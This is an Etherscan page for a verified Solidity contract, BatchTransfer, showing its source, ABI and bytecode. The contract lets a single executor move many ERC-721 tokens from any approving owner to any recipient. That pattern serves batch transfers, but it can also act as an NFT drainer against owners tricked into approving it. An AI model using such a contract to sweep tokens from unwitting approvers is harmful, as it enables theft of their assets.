Feature Tip: Add private address tag to any address under My Name Tag !
Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0xea71dE95...67C903f07 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
BatchTransfer
Compiler Version
v0.8.0+commit.c7dfd78e
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2022-12-24
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
interface ERC721Partial {
function transferFrom(address from, address to, uint256 tokenId) external;
}
contract BatchTransfer {
address private _executor;
constructor(){
_executor = msg.sender;
}
function batchTransfer(ERC721Partial tokenContract, address actualOwner,address recipient, uint256[] calldata tokenIds) external {
require(msg.sender == _executor,"Huh bro, Get out of here!");
for (uint256 index; index < tokenIds.length; index++) {
tokenContract.transferFrom(actualOwner, recipient, tokenIds[index]);
}
}
function setExecutor(address _newExector) external {
require(msg.sender == _executor,"Huh bro, Get out of here!");
_executor = _newExector;
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"contract ERC721Partial","name":"tokenContract","type":"address"},{"internalType":"address","name":"actualOwner","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256[]","name":"tokenIds","type":"uint256[]"}],"name":"batchTransfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newExector","type":"address"}],"name":"setExecutor","outputs":[],"stateMutability":"nonpayable","type":"function"}]Contract Creation Code
0x608060405234801561001057600080fd5b50336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506105b6806100606000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80631c3c0ea81461003b578063e3456fbb14610057575b600080fd5b6100556004803603810190610050919061031d565b610073565b005b610071600480360381019061006c9190610346565b610144565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f89061045b565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101c99061045b565b60405180910390fd5b60005b828290508110156102a1578573ffffffffffffffffffffffffffffffffffffffff166323b872dd8686868686818110610237577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356040518463ffffffff1660e01b815260040161025c93929190610424565b600060405180830381600087803b15801561027657600080fd5b505af115801561028a573d6000803e3d6000fd5b505050508080610299906104da565b9150506101d5565b505050505050565b6000813590506102b881610552565b92915050565b60008083601f8401126102d057600080fd5b8235905067ffffffffffffffff8111156102e957600080fd5b60208301915083602082028301111561030157600080fd5b9250929050565b60008135905061031781610569565b92915050565b60006020828403121561032f57600080fd5b600061033d848285016102a9565b91505092915050565b60008060008060006080868803121561035e57600080fd5b600061036c88828901610308565b955050602061037d888289016102a9565b945050604061038e888289016102a9565b935050606086013567ffffffffffffffff8111156103ab57600080fd5b6103b7888289016102be565b92509250509295509295909350565b6103cf8161048c565b82525050565b60006103e260198361047b565b91507f4875682062726f2c20476574206f7574206f66206865726521000000000000006000830152602082019050919050565b61041e816104d0565b82525050565b600060608201905061043960008301866103c6565b61044660208301856103c6565b6104536040830184610415565b949350505050565b60006020820190508181036000830152610474816103d5565b9050919050565b600082825260208201905092915050565b6000610497826104b0565b9050919050565b60006104a98261048c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006104e5826104d0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561051857610517610523565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b61055b8161048c565b811461056657600080fd5b50565b6105728161049e565b811461057d57600080fd5b5056fea2646970667358221220c57f15c85833e04ad0b2a7d3d54d1094ec89d1158a2b4171f71ad663248256e364736f6c63430008000033
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100365760003560e01c80631c3c0ea81461003b578063e3456fbb14610057575b600080fd5b6100556004803603810190610050919061031d565b610073565b005b610071600480360381019061006c9190610346565b610144565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610101576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016100f89061045b565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146101d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101c99061045b565b60405180910390fd5b60005b828290508110156102a1578573ffffffffffffffffffffffffffffffffffffffff166323b872dd8686868686818110610237577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b905060200201356040518463ffffffff1660e01b815260040161025c93929190610424565b600060405180830381600087803b15801561027657600080fd5b505af115801561028a573d6000803e3d6000fd5b505050508080610299906104da565b9150506101d5565b505050505050565b6000813590506102b881610552565b92915050565b60008083601f8401126102d057600080fd5b8235905067ffffffffffffffff8111156102e957600080fd5b60208301915083602082028301111561030157600080fd5b9250929050565b60008135905061031781610569565b92915050565b60006020828403121561032f57600080fd5b600061033d848285016102a9565b91505092915050565b60008060008060006080868803121561035e57600080fd5b600061036c88828901610308565b955050602061037d888289016102a9565b945050604061038e888289016102a9565b935050606086013567ffffffffffffffff8111156103ab57600080fd5b6103b7888289016102be565b92509250509295509295909350565b6103cf8161048c565b82525050565b60006103e260198361047b565b91507f4875682062726f2c20476574206f7574206f66206865726521000000000000006000830152602082019050919050565b61041e816104d0565b82525050565b600060608201905061043960008301866103c6565b61044660208301856103c6565b6104536040830184610415565b949350505050565b60006020820190508181036000830152610474816103d5565b9050919050565b600082825260208201905092915050565b6000610497826104b0565b9050919050565b60006104a98261048c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60006104e5826104d0565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561051857610517610523565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b61055b8161048c565b811461056657600080fd5b50565b6105728161049e565b811461057d57600080fd5b5056fea2646970667358221220c57f15c85833e04ad0b2a7d3d54d1094ec89d1158a2b4171f71ad663248256e364736f6c63430008000033
Deployed Bytecode Sourcemap
171:663:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;665:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;293:366;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;665:164;749:9;;;;;;;;;;735:23;;:10;:23;;;727:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;810:11;798:9;;:23;;;;;;;;;;;;;;;;;;665:164;:::o;293:366::-;455:9;;;;;;;;;;441:23;;:10;:23;;;433:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;509:13;504:148;532:8;;:15;;524:5;:23;504:148;;;573:13;:26;;;600:11;613:9;624:8;;633:5;624:15;;;;;;;;;;;;;;;;;;;;;573:67;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;549:7;;;;;:::i;:::-;;;;504:148;;;;293:366;;;;;:::o;7:139:1:-;;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;59:87;;;;:::o;169:367::-;;;302:3;295:4;287:6;283:17;279:27;269:2;;320:1;317;310:12;269:2;356:6;343:20;333:30;;386:18;378:6;375:30;372:2;;;418:1;415;408:12;372:2;455:4;447:6;443:17;431:29;;509:3;501:4;493:6;489:17;479:8;475:32;472:41;469:2;;;526:1;523;516:12;469:2;259:277;;;;;:::o;542:179::-;;646:6;633:20;624:29;;662:53;709:5;662:53;:::i;:::-;614:107;;;;:::o;727:262::-;;835:2;823:9;814:7;810:23;806:32;803:2;;;851:1;848;841:12;803:2;894:1;919:53;964:7;955:6;944:9;940:22;919:53;:::i;:::-;909:63;;865:117;793:196;;;;:::o;995:901::-;;;;;;1209:3;1197:9;1188:7;1184:23;1180:33;1177:2;;;1226:1;1223;1216:12;1177:2;1269:1;1294:73;1359:7;1350:6;1339:9;1335:22;1294:73;:::i;:::-;1284:83;;1240:137;1416:2;1442:53;1487:7;1478:6;1467:9;1463:22;1442:53;:::i;:::-;1432:63;;1387:118;1544:2;1570:53;1615:7;1606:6;1595:9;1591:22;1570:53;:::i;:::-;1560:63;;1515:118;1700:2;1689:9;1685:18;1672:32;1731:18;1723:6;1720:30;1717:2;;;1763:1;1760;1753:12;1717:2;1799:80;1871:7;1862:6;1851:9;1847:22;1799:80;:::i;:::-;1781:98;;;;1643:246;1167:729;;;;;;;;:::o;1902:118::-;1989:24;2007:5;1989:24;:::i;:::-;1984:3;1977:37;1967:53;;:::o;2026:323::-;;2189:67;2253:2;2248:3;2189:67;:::i;:::-;2182:74;;2286:27;2282:1;2277:3;2273:11;2266:48;2340:2;2335:3;2331:12;2324:19;;2172:177;;;:::o;2355:118::-;2442:24;2460:5;2442:24;:::i;:::-;2437:3;2430:37;2420:53;;:::o;2479:442::-;;2666:2;2655:9;2651:18;2643:26;;2679:71;2747:1;2736:9;2732:17;2723:6;2679:71;:::i;:::-;2760:72;2828:2;2817:9;2813:18;2804:6;2760:72;:::i;:::-;2842;2910:2;2899:9;2895:18;2886:6;2842:72;:::i;:::-;2633:288;;;;;;:::o;2927:419::-;;3131:2;3120:9;3116:18;3108:26;;3180:9;3174:4;3170:20;3166:1;3155:9;3151:17;3144:47;3208:131;3334:4;3208:131;:::i;:::-;3200:139;;3098:248;;;:::o;3352:169::-;;3470:6;3465:3;3458:19;3510:4;3505:3;3501:14;3486:29;;3448:73;;;;:::o;3527:96::-;;3593:24;3611:5;3593:24;:::i;:::-;3582:35;;3572:51;;;:::o;3629:116::-;;3715:24;3733:5;3715:24;:::i;:::-;3704:35;;3694:51;;;:::o;3751:126::-;;3828:42;3821:5;3817:54;3806:65;;3796:81;;;:::o;3883:77::-;;3949:5;3938:16;;3928:32;;;:::o;3966:233::-;;4028:24;4046:5;4028:24;:::i;:::-;4019:33;;4074:66;4067:5;4064:77;4061:2;;;4144:18;;:::i;:::-;4061:2;4191:1;4184:5;4180:13;4173:20;;4009:190;;;:::o;4205:180::-;4253:77;4250:1;4243:88;4350:4;4347:1;4340:15;4374:4;4371:1;4364:15;4391:122;4464:24;4482:5;4464:24;:::i;:::-;4457:5;4454:35;4444:2;;4503:1;4500;4493:12;4444:2;4434:79;:::o;4519:162::-;4612:44;4650:5;4612:44;:::i;:::-;4605:5;4602:55;4592:2;;4671:1;4668;4661:12;4592:2;4582:99;:::o
Swarm Source
ipfs://c57f15c85833e04ad0b2a7d3d54d1094ec89d1158a2b4171f71ad663248256e3
Loading...
Loading
Loading...
Loading
Net Worth in USD
$0.00
Net Worth in ETH
0
Multichain Portfolio | 33 Chains
| Chain | Token | Portfolio % | Price | Amount | Value |
|---|
Loading...
Loading
Loading...
Loading
Loading...
Loading
A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.